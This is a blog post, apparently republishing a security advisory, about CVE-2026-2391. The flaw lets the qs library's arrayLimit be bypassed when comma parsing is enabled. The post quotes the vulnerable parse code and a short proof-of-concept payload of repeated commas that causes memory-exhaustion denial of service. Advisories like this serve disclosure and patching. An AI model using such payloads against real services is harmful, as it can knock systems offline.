{"id":76981,"date":"2026-02-12T08:47:11","date_gmt":"2026-02-12T05:17:11","guid":{"rendered":"https:\/\/afaghhosting.net\/blog\/cve-2026-2391-qss-arraylimit-bypass-in-comma-parsing-allows-denial-of-service\/"},"modified":"2026-02-12T08:47:11","modified_gmt":"2026-02-12T05:17:11","slug":"cve-2026-2391-qss-arraylimit-bypass-in-comma-parsing-allows-denial-of-service","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cve-2026-2391-qss-arraylimit-bypass-in-comma-parsing-allows-denial-of-service\/","title":{"rendered":"CVE-2026-2391 &#8211; qs&#8217;s arrayLimit bypass in comma parsing allows denial of service"},"content":{"rendered":"<p>CVE ID : CVE-2026-2391<\/p>\n<p>Published :  Feb. 12, 2026, 5:17 a.m. | 1\u00a0hour, 8\u00a0minutes ago<\/p>\n<p>Description : ### Summary<br \/>\nThe `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).<\/p>\n<p>### Details<br \/>\nWhen the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `[&#8216;a&#8217;, &#8216;b&#8217;, &#8216;c&#8217;]`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.<\/p>\n<p>**Vulnerable code** (lib\/parse.js: lines ~40-50):<br \/>\n&#8220;`js<br \/>\nif (val &amp;&amp; typeof val === &#8216;string&#8217; &amp;&amp; options.comma &amp;&amp; val.indexOf(&#8216;,&#8217;) &gt; -1) {<br \/>\n\u00a0 \u00a0 return val.split(&#8216;,&#8217;);<br \/>\n}<\/p>\n<p>if (options.throwOnLimitExceeded &amp;&amp; currentArrayLength &gt;= options.arrayLimit) {<br \/>\n\u00a0 \u00a0 throw new RangeError(&#8216;Array limit exceeded. Only &#8216; + options.arrayLimit + &#8216; element&#8217; + (options.arrayLimit === 1 ? &#8221; : &#8216;s&#8217;) + &#8216; allowed in an array.&#8217;);<br \/>\n}<\/p>\n<p>return val;<br \/>\n&#8220;`<br \/>\nThe `split(&#8216;,&#8217;)` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,&#8230;`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).<\/p>\n<p>### PoC<br \/>\n**Test 1 &#8211; Basic bypass:**<br \/>\n&#8220;`<br \/>\nnpm install qs<br \/>\n&#8220;`<\/p>\n<p>&#8220;`js<br \/>\nconst qs = require(&#8216;qs&#8217;);<\/p>\n<p>const payload = &#8216;a=&#8217; + &#8216;,&#8217;.repeat(25);  \/\/ 26 elements after split (bypasses arrayLimit: 5)<br \/>\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };<\/p>\n<p>try {<br \/>\n\u00a0 const result = qs.parse(payload, options);<br \/>\n\u00a0 console.log(result.a.length);  \/\/ Outputs: 26 (bypass successful)<br \/>\n} catch (e) {<br \/>\n\u00a0 console.log(&#8216;Limit enforced:&#8217;, e.message);  \/\/ Not thrown<br \/>\n}<br \/>\n&#8220;`<br \/>\n**Configuration:**<br \/>\n&#8211; `comma: true`<br \/>\n&#8211; `arrayLimit: 5`<br \/>\n&#8211; `throwOnLimitExceeded: true`<\/p>\n<p>Expected: Throws &#8220;Array limit exceeded&#8221; error.<br \/>\nActual: Parses successfully, creating an array of length 26.<\/p>\n<p>### Impact<br \/>\nDenial of Service (DoS) via memory exhaustion.<\/p>\n<p>Severity: 6.3 | MEDIUM<\/p>\n<p>Visit the link for more details, such as CVSS details, affected products, timeline, and more&#8230;\u00a0<\/p>\n","protected":false},"excerpt":{"rendered":"<p>CVE ID : CVE-2026-2391 Published : Feb. 12, 2026, 5:17 a.m. | 1\u00a0hour, 8\u00a0minutes ago Description : ### Summary The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-76981","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/76981","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=76981"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/76981\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=76981"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=76981"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=76981"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}